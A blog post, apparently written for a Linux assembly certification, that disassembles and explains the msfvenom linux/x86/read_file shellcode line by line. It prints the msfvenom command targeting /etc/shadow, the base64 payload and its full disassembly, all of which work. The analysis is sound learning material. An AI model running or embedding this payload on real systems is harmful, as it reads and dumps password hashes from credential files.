12 Minute Read
Student ID: SLAE-1250

Assignment Five: Analysis of Shellcode Part Two - linux/x86/read_file

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10

TLDR; - JMP short Final_Breakdown


Part two of assignment five of the SLAE has us continuing on with the analysis of another Linux/x86 shellcode payload from msfvenom: linux/x86/read_file

Just like in part one we must first generate our shellcode to perform the analysis on!

As with the previous blog entires in the SLAE series, we start off by generating our shellcode and immediately converting it to base64 for easy transport between computers.

The msfvenom command used was as follows:

msfvenom -p linux/x86/read_file FD=1 PATH=/etc/shadow | base64


Which produced the following output:

6za4BQAAAFsxyc2AicO4AwAAAInnifm6ABAAAM2AicK4BAAAALsBAAAAzYC4AQAAALsAAAAAzYDo
xf///y9ldGMvc2hhZG93AA==


Generating the payload

after moving the base64 encoded contents into a file on the x86 Ubuntu VM I converted it back to raw with:

cat linux-x86-readfile.b64 | base64 -d > linux-x86-readfile


followed by the command to start to analysis via ndisasm:

cat linux-x86-readfile | ndisasm -u -
“-u” specifies x86 and “-“ specifies to use the contents piped into it from the cat operation


which produced the following disassembled output:

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49


Just like we did in Assignment Five Part One, we are going to break apart the disassembled code into blocks based on the presence of int 0x80 in order to make this all a little bit easier to understand.

ASM Code Block One

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80


The very first instruction that we encounter is:

00000000  EB36              jmp short 0x38


Which unsurprisingly jumps to the memory address 0x38, which contains:

00000038  E8C5FFFFFF        call dword 0x2


The thing to remember about this particular method is that as soon as the call is taken the address for the very next instruction after call dword 0x2 will be stored on the stack, which in this case wil be:

0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49
jmp, call and pop method


Just like we did in Assignment Five Part One we immediatly notice that the instruction set looks unusual … which based on the expected behavior of opening a file leads us to suspect that the hex values in the memory addresses for that block of code are very likely going to be /etc/shadow as that is the file we are wanting to open. Lets disassemble that block of hex values and see what we end up with!

In order to do that we once again leverage xxd in order to convert that block of hex (from 0x2F to 0x00) to a string as such:

echo 2F6574632F736861646F7700 | xxd -r -p


Which returns the following value

/etc/shadow


Now that we know that the stack is going to contain the memory address for the path of the file we want to open let’s again start by figuring out what function they are going to ultimately be calling by checking out what the hexadecimal value of 0x05 (decimal 5) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h

#define __NR_open 5


which in C is:

int open(const char *pathname, int flags);


Excellent, just as we thought, we are indeed going to be opening up the file! Again, we will be leveraging registers for the calling convention when passing parameters into our function. Lets start analyzing the setting up of the call!

Since so much has already occurred, below is the relevant assembly code that we will be discussing:

00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80


Again, the very first thing being done is moving 0x05 into eax so that the open function will be called. After that we see that they are popping what is currently on the stack into ebx. Remember that currently the value /etc/shadow is on the stack (via the jump, call and pop method) so they are moving that value into the first parameter of the function, which is *pathname!

After doing that they zero the value in ecx (which is the value of the flags being passed in). If we recall, from the previous blog posting, values for flags for the open function are stored in /usr/include/asm-generic/fcntl.h and whose values are stored in octal, so lets see if we can find the value for the file being open … I wonder if it might be O_RDONLY?

Just as predicted … the value of the flag being passed into the open function will indeed be:

#define O_RDONLY	00000000


Remember, after the call to int 0x80 we will end up with the file descriptor id in eax!

We should now have a pretty solid understanding of what is happening inside of the first assembly block … lets move on to Block Two!

ASM Code Block Two

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80


Repetition ftw, lets start again by by checking out what the hexadecimal value of 0x03 (decimal 3) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h … I wonder if it might be read?

#define __NR_read 3


Awesome! We were right again … although given this shellcode was called read_file it makes our predictions a little less exciting…

Now that we know that we are calling the read function, lets again look it up and see what the function signature looks like:

ssize_t read(int fd, void *buf, size_t count);


After our previous call to open the value for the file descriptor id would have been stored in eax. So, as you would rightfully assume, the very first instruction being issued is moving the value of eax into ebx, which is the register that would hold the id of the file descriptor … already one parameter handled!

Next up is moving the hexadecimal value for read (0x03) into eax, excellent, now we will be able to call the right function!

The next instructions to be analyzed is:

00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi


Since we need a buffer to read our values into, they are moving the address of the stack (esp) into edi and then moving edi into ecx, which is the register value of the second parameter we need for making the call to read.

After getting our buffer situated we see a static hexadecimal value of 0x1000 (4096 in decimal) being moved into edx which lines up with the documentation from msfvenom (command: msfvenom -p linux/x86/read_file –payload-options)

Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor

At this point we can safely state that we now know that Block Two is where we read in the content of the /etc/shadow file!

ASM Code Block Three

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80


Let’s again start by figuring out what function they are going to ultimately be calling by checking out what the hexadecimal value of 0x04 (decimal 4) is by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h

#define __NR_write 4


which in C is:

ssize_t write(int fd, const void *buf, size_t count);


The very first instruction that we encounter in this block of code is moving the value of eax into edx. If we remember, the value returned from the previous function call was the value of the total number of bytes being read in via the read function. By moving it into edx we have now setup the third parameter (count) for our function call.

Moving forward we see that we are moving 0x04 into eax which we have already established is a making the call to write, after which we are then moving a 0x01 into ebx, which is the file descriptor id for standard output on a linux based system, which will allow for the shellcode to output the contents of the buffer containing the file contents directly to the terminal/console!

At this point we might be wondering about why we didn’t set ecx, that is because it was already set! In the previous function call we set the value of ecx to be the buffer, so we do not have to set it again since it’s value will already contain the contents that were read in from the file, ready to be written back out!

ASM Code Block Four

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80


As we have done several times before, we start off by checking what function that they are calling with the hexadecimal value of 0x01 (decimal 1) by referencing /usr/include/i386-linux-gnu/asm/unistd_32.h. We also can see that we are passing in a status code of 0 since the hexidecimal value of 0x00 is being moved into ebx, which is the first parameter for the call to _exit!

#define __NR_exit 1

which in C is:

void _exit(int status);


Since all we doing is making a call to exit the program we are now done with the analysis of the the second of three shellcodes from msfvenom!


Final_Breakdown:


The linux/x86/read_file shellcode from msfvenom performs the following steps:

  • Sets up the address of esp to point to the name of the file to be opened (jmp, call and pop).
  • Opens the file.
  • Reads the contents of the file into a buffer in memory.
  • Writes the contents of the memory buffer containing the contents of the file to the standard output via the file descriptor id.

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)